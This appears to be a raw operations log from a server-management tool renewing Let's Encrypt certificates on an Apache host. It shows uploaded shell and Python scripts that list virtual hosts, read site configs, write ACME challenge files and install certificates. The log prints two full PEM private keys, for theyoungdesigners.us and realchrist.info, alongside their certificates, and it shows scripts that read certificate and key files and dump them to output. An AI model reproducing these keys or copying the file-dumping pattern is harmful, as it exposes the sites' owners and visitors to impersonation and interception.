port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-28 06:00:39:
PUT: /tmp/pkp556722
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-28 06:00:39:
chmod 755 /tmp/pkp556722; /tmp/pkp556722; rm /tmp/pkp556722
2025-09-28 06:00:39:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf 1781
<VirtualHost *:80>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-28 06:00:39:
PUT: /tmp/pkp683523
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-28 06:00:39:
chmod 755 /tmp/pkp683523; /tmp/pkp683523; rm /tmp/pkp683523
2025-09-28 06:00:39:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt 5402
ba:c1:ac:7e:75:e2:84:0b:a8:78:96:ea:e0:fd:14:80
-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBXqx/YBWlalTgwOwF+BhCgw7MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI4MDUwMjA3WhcNMjUxMjI3MDUwMjA2WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAPjKkDL2XhNCgIDGEfskszOkoxbhIGg7KAbbZ5UXLpxaf6s0FZLu1K6K
pfEW6F+yUpkKh4RDCysEB2CchxlLyIHIBdu566C6t1y/yzpJLDCeEfr6dMP2RIVz
3mWrRcFiwYpUMpQBoYr0rcXnUTRa2kFTL9fnPXN+jeNqvy+2nwymRcWeCFWOBtEn
waXDts9eqpGV2jzDb0n6htd1YCE/ZFy9QgIxs/AbUkkgKkGVZcQRAI+Dh3OtLi8s
zcz6izT3N4VvjAcxCmmqVeYbIU0mvGG8KjIlZes1ZmI//WRu9U5xPu0oAhx2kexR
tF8x6bgE+eNsTkLJgSpTuJO4yUh3BWECAwEAAaOCAj8wggI7MA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUk1UPifWzlVNdQJn59wouc8pyUpYwHwYDVR0jBBgwFoAUALUp
8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEyLmkubGVuY3Iub3JnLzA5BgNVHREEMjAwghR0aGV5b3VuZ2Rlc2ln
bmVycy51c4IYd3d3LnRoZXlvdW5nZGVzaWduZXJzLnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
NjAuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcApELFBklgYVSPD9TqnPt6
LSZFTYepfy/fRVn2J086hFQAAAGZjuitdwAABAMASDBGAiEArtDKc8u9vj1Jnpai
D2Y8SZ6sYqEqlYjepLJ1j+jg2mwCIQDyq3Oe9u32ghfEJHq6/71exFItYgk8zcMG
N5D4mLSdQgB2AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmY7o
rcEAAAQDAEcwRQIhANWIa/IWd2Pe0udJb9jMaoQKjL6+zzx+6mEylCKm1AzNAiBC
7gOAAJ3Y8Ojht+vD8FSw1Xay1TFw08TM5t3PPbU0ZTANBgkqhkiG9w0BAQsFAAOC
AQEAHg3rQ9rOMKw6m+3ujMjd7IiXOoxtPQdG6S3W0NWf1jP59Gs1l7OSsxAsBzI0
S/f+mpgfkOt0y+6tD2pROtHJ2RB++lAethhvwXibnEkakbvbSESArJJ/99evqrek
v6poPxDhKEvmvb61AVAdZH1WR+S7q3q/CZkgxMzAOvpxUV18Fe7Az/IwXVxzmreE
7LQO53B/YLK+RuJKuVN6wvXzftHlK9y3NoVuUf+U4Ko1raSfRp68Ushv5g5Bzo+U
TjQRTz8hH26cEbB3pc1e+aY/63QP6eESbqPjpLb2i9dkVRO3WuiSHNKnLbzoRxoX
xxiarnrvacws/Lj3RNmf6RFdLw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQD4ypAy9l4TQoCA
xhH7JLMzpKMW4SBoOygG22eVFy6cWn+rNBWS7tSuiqXxFuhfslKZCoeEQwsrBAdg
nIcZS8iByAXbueugurdcv8s6SSwwnhH6+nTD9kSFc95lq0XBYsGKVDKUAaGK9K3F
51E0WtpBUy/X5z1zfo3jar8vtp8MpkXFnghVjgbRJ8Glw7bPXqqRldo8w29J+obX
dWAhP2RcvUICMbPwG1JJICpBlWXEEQCPg4dzrS4vLM3M+os09zeFb4wHMQppqlXm
GyFNJrxhvCoyJWXrNWZiP/1kbvVOcT7tKAIcdpHsUbRfMem4BPnjbE5CyYEqU7iT
uMlIdwVhAgMBAAECggEBAIpHvEI3IS6/RcFNVe0rBtdraKJs2qBUUPkOtdHuIqAQ
xOkZd+xFBr1EntsTinC2IqahbZUb1ndANAGEvqpWrslDrc3k1oxte0D38TMiPIeB
NCk1T/UjSg6Kyk/kFE9aXoxOJBaTmYAsYvGekknxPWIVpH/yLPummaKPUFhqvpg+
MfZXJDZsSr1gDLjjKkMnUssTW2wKheagchKhXi5fHwdCmhG4xp+Az24HTQKR1WHn
Ciyt4G22WZu2KP2VJNeCL5o8VuIwchDeS5hP5CDf2Q6Pb0L/xPf5V7m+7c9HXE+E
lStkRXcMhr3XBlSWAJhz6Rf+YHeDcjzKnwbxvBG/y4ECgYEA/yVZj3j4TIi2Qbfd
GwwaE+TwWJ+iRLncZf2wN6LkZqcII8QAkpKWfpyVvzXf8adzqv0f+BCg9y+dDl1R
ydtSSsLmRYa0J4rlf6fNRwad4gENb4Px5433UZt905TYOwrGQUPN/oQZ/nnVFvxk
MITcDuYlaAdz4T3R72/ccdUaBHkCgYEA+Z/Ei6hOtYjQVYtQRcfWyMfmW1DSC8lZ
0Zwqxs6Ty45BVJSsASlKh871XLWqr+SygHyIGP87OPc2xOCq6rnkS4ksrm1uyU6t
7CqSwGSrq4MvsXwgdk/fh34yg+TG3zYKn1GMYmSUa+fI7ExpBMoL2oCiDG+8RtJm
LmNC8UgvPikCgYAVXJwt/fPT/JI92FYDwLSiO8W/tcXROTpxs5bAYbv7uDpfPDbM
DsfY2+VRuAIC6oEtrLmzfDjt2SeuHzQM0XcHWWAMLCYDNYbXdEYkjzJCzNHCJ2rm
dyVgyML1Jv4fm1xT9IhXqdm/S5YCsaj1wvnlqXEyT4VtM07TXCs5wJzICQKBgQDp
oWj5NSuFqGkkx2D4DpOuE7o8GSaeNXPFRR6cN9gIGjp3CTb7V0QUW9U1UipQugF/
VA6lJqytImO2XHhbfGR5dgfFsVKRQvxxH19+hjpOKlhHC1/um88gJzLsUwD3BMNo
XZDAvlZTr/pTfyiDfP8fIGmKrkFPH7jXDbwny2G8EQKBgQDx2oIwetHHjydG4mnT
qigptAJ8Lyj02DCR8OxStKLeaGYBXbRwlADgLDQOTPLg08/MDJ8V3S76vVuRzqBX
GXXY3XlKeguJ/QMBq8P18s4uzz3V0L8RxwSDspSA3XFIlI7DTeV/Vt7EGSozwiNy
AOEjFsfaaC3NH5gmTUCkigNQZg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-30 06:00:02: Establishing a connection
2025-09-30 06:00:03: Establishing a connection
2025-09-30 06:00:03:
PUT: /tmp/pkp267285
#!/bin/bash
if [ -d "/var/www/realchrist_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-30 06:00:04:
chmod 755 /tmp/pkp267285; /tmp/pkp267285; rm /tmp/pkp267285
2025-09-30 06:00:04:
1
2025-09-30 06:00:05: Establishing a connection
2025-09-30 06:00:05:
PUT: /tmp/pkp853090
#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
cat > DiGnkaAcWuGA0rDZCMjzye-eNcBHO8VQ95F3s5P-1gM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
DiGnkaAcWuGA0rDZCMjzye-eNcBHO8VQ95F3s5P-1gM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 DiGnkaAcWuGA0rDZCMjzye-eNcBHO8VQ95F3s5P-1gM
cat > 9pD3qoS4hGgP7saA7b4kl4Jc0Vl5wYQJhR5loL-e0YU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9pD3qoS4hGgP7saA7b4kl4Jc0Vl5wYQJhR5loL-e0YU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9pD3qoS4hGgP7saA7b4kl4Jc0Vl5wYQJhR5loL-e0YU
2025-09-30 06:00:05:
chmod 755 /tmp/pkp853090; /tmp/pkp853090; rm /tmp/pkp853090
2025-09-30 06:00:05:
2025-09-30 06:00:15: Establishing a connection
2025-09-30 06:00:16:
PUT: /tmp/pkp115407
#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
rm DiGnkaAcWuGA0rDZCMjzye-eNcBHO8VQ95F3s5P-1gM
rm 9pD3qoS4hGgP7saA7b4kl4Jc0Vl5wYQJhR5loL-e0YU
2025-09-30 06:00:16:
chmod 755 /tmp/pkp115407; /tmp/pkp115407; rm /tmp/pkp115407
2025-09-30 06:00:16:
2025-09-30 06:00:16: Establishing a connection
2025-09-30 06:00:16:
PUT: /tmp/pkp594147
#!/bin/bash
temp_file=$(mktemp)
TARGET=8df29f43e5e79f1c31041f6ee4962ae9.crt
cat > $temp_file <<'endmsg'
31:7b:19:9d:50:fa:64:33:85:fd:5f:6f:ae:65:64:f1
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBp7CHwLh/AqZJix9ISXQ2+N2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTMwMDUwMTQ1WhcNMjUxMjI5MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC4og69AOn09Ry/4oLOc6+14P0pX/fcryNp6H7wq9coK1Qda8lb2wUMfIGV9Av9
qP4KZ+wxzqqhmKOEFAWtcR7aUqsdcutqDX7B+s+Wrn+cvqSjwovgrMJ47EyP5Cj7
cV9xgJJRgsVhCK8/9GIkWA5+9IAijnj5leQdw6JoPvukj+YjTa6eXQpcQOoYUiTX
yeYCMXAGjS1NSYWZH3xOq0UqPRZLzPQgKf2l59KX+q5DPj/aUzKiUiF9s4EHNfhE
0xadcbGwLGoUBAIGWguBKWLNd8k7+WMvW0fiT/6rRwFr8AGlILJxHugDDIfSMX1U
BVqsh3bCN/35qXvVpcJ41ztvAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFNpE4BtK9CoGsAG7Am+pRSJNaJy8MB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcmVhbGNocmlzdC5pbmZvghN3
d3cucmVhbGNocmlzdC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQo
MCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE5LmNybDCCAQMGCisG
AQQB1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idP
OoRUAAABmZk1D30AAAQDAEYwRAIgDTe1OafXI7nSNOhVK2Gtg21d/UpFb8E+a6Ho
+/z/UQUCIBode/GU91lUdlSEfQpiPq0XVdz0/KzurcCo3jpzd3QsAHYAGYbUxyiq
b/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZmTUPigAABAMARzBFAiEAwz8O
SsBzUm8iv9WJJYCc4WXHYBsR8oc7B04rQ1C5FJ0CIBsU0Xq1uF/Gp+XbIyi7n/gF
aKaks5JukuAYyJsn0Bm5MA0GCSqGSIb3DQEBCwUAA4IBAQALsFVtvi78UTloGV0f
KfAZhBbvoXU+NflHSpKyLHAXedG/fDZhk81dxsCBAultJpnZCG6WegdVP68PDPgA
O6v8OyA0puL1YT0yeME3I93ujmPjppdS+U3BEOkQ3fTNh+nfmqYW+rQPr6Xrl5is
t/2MKiZ6u5IS4JF8tu1HEHjGUzhrUWmZ6VD06xAQAmXYeZdZ/epObY1isYWGLADf
beflyjYS5XnhGvsL5orlMoFnuIGQe2IcLLTpuilnIZQUB/Cty0iIjoZ4IlxLimyJ
Y/wwp/287uHPvcqgutQcjhfUFB6+2Icgei3Pw1buo9NwWABahhlKadzL5ERDeqWo
n2x4
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC4og69AOn09Ry/
4oLOc6+14P0pX/fcryNp6H7wq9coK1Qda8lb2wUMfIGV9Av9qP4KZ+wxzqqhmKOE
FAWtcR7aUqsdcutqDX7B+s+Wrn+cvqSjwovgrMJ47EyP5Cj7cV9xgJJRgsVhCK8/
9GIkWA5+9IAijnj5leQdw6JoPvukj+YjTa6eXQpcQOoYUiTXyeYCMXAGjS1NSYWZ
H3xOq0UqPRZLzPQgKf2l59KX+q5DPj/aUzKiUiF9s4EHNfhE0xadcbGwLGoUBAIG
WguBKWLNd8k7+WMvW0fiT/6rRwFr8AGlILJxHugDDIfSMX1UBVqsh3bCN/35qXvV
pcJ41ztvAgMBAAECggEBAIqKT7TSsrr0EZaKSMzRUc+P+2bIdBxL7q7Rni7JQrEJ
khxhfL5IIgm0gygZ78VuwPDd+gWFpdOLzWaV/4ydjSEVVwDJ8ouphKvZn1rZpTfg
dXnLyVnVSDekV+7ArV+/OnbYmvI+xgyBj77Via7rxDTPEjbb4Tqmln0fBwZh/EEF
0rY3yVzObCi7vOIkeIdhZQuqWBGkftQFqh71X6wpqF9jBIj3rRJ3mqf0yeTFZBdo
xzhfIx++vvoko4g5odSVTNsCw15t5kzgCYgIeKp4svdyDzHwjNlQ7BjimL4q/ZfM
VLWNYFIh5KUJOVbtGAKcZWcTi6NrL42h6HPk+Wol/8ECgYEA3ooukKJXy9PFBg36
UiV9Kq6aTbGvywjyVLlcqD20mNFknv1bCAPK/PQe+Ji/I7DWyJ+DP91WpLmpTCV6
g9cr/x9iR4C+rkI3mMs4b8eJ9N8kL9sxseNdTHiuO7fJ4HkGadPc5YLqC3kbNinP
YaXPpznd40hcECA6PKUx6EcMnxMCgYEA1GTM/iSLIdfcxcZJMPa28tCS/d7GDziy
p+q3d0/XtNZkQJqiyJ3zPKrfyf8nK/fUS3QVpWV6Q/SfUAKFzbo0A/Vrq3sCmD02
iMHDcTsCxO3s8rBIwsdRicAYsenurb2YW/Y8ZgZkOD/oFPpvRh6hxeu5LefvvL57
VZCV7tsLkbUCgYAQXs/gGeElgFWNBXg1lMZpXmDBeGG7KNRSwTP8uFVRrI2fWHna
1BSZmQeyN+JPqNGT/o/0Ib8e7P10OYmSq0B0SwW6xtDAFuTqG4DyUBZo6gVKc/Bq
6pPRbUs732A9YAnFvS0RwRigcW88A8VapIzq+0nET21eTlCaZ3iNYrSd+wKBgHbJ
LXDRpVK3NI0T+ak9wlII3rzHVAP9VMXe2t8Ks3w7D3SmR3ZmCDyc4G5Lmm/Xuk68
zMJk/71z2YnY71aA1kiEgMQ2FtxoF9DidVklhMX4vzV37CmraendmrIeQFPBHq4I
B/2Tg4eGDll1Orh/t0BHNpj7B7SK39WZ+JDOxyilAoGATMxWkac1bnY629YeWZkq
kP/JLX+fKxqN3RkYPz+1ARnEAEiqN6SKEJ3eNirnRLYl5zBnpImYETqw/LZeFhTM
HOwMnl77vhq1EjepgyqoH2EkYFneKnM3yIlVGN0iqywpWxcR1kgo6MXaguEfcYJy
Fv5mOsvvQ6Zbfr/BFjW17Ns=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-30 06:00:16:
chmod 755 /tmp/pkp594147; /tmp/pkp594147; rm /tmp/pkp594147
2025-09-30 06:00:16:
dir=/etc/ssl/certs
2025-09-30 06:00:16:
PUT: /tmp/pkp507240
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/realchrist_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-30 06:00:16:
chmod 755 /tmp/pkp507240; /tmp/pkp507240; rm /tmp/pkp507240
2025-09-30 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf 43
<VirtualHost *:80>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_access.log combined
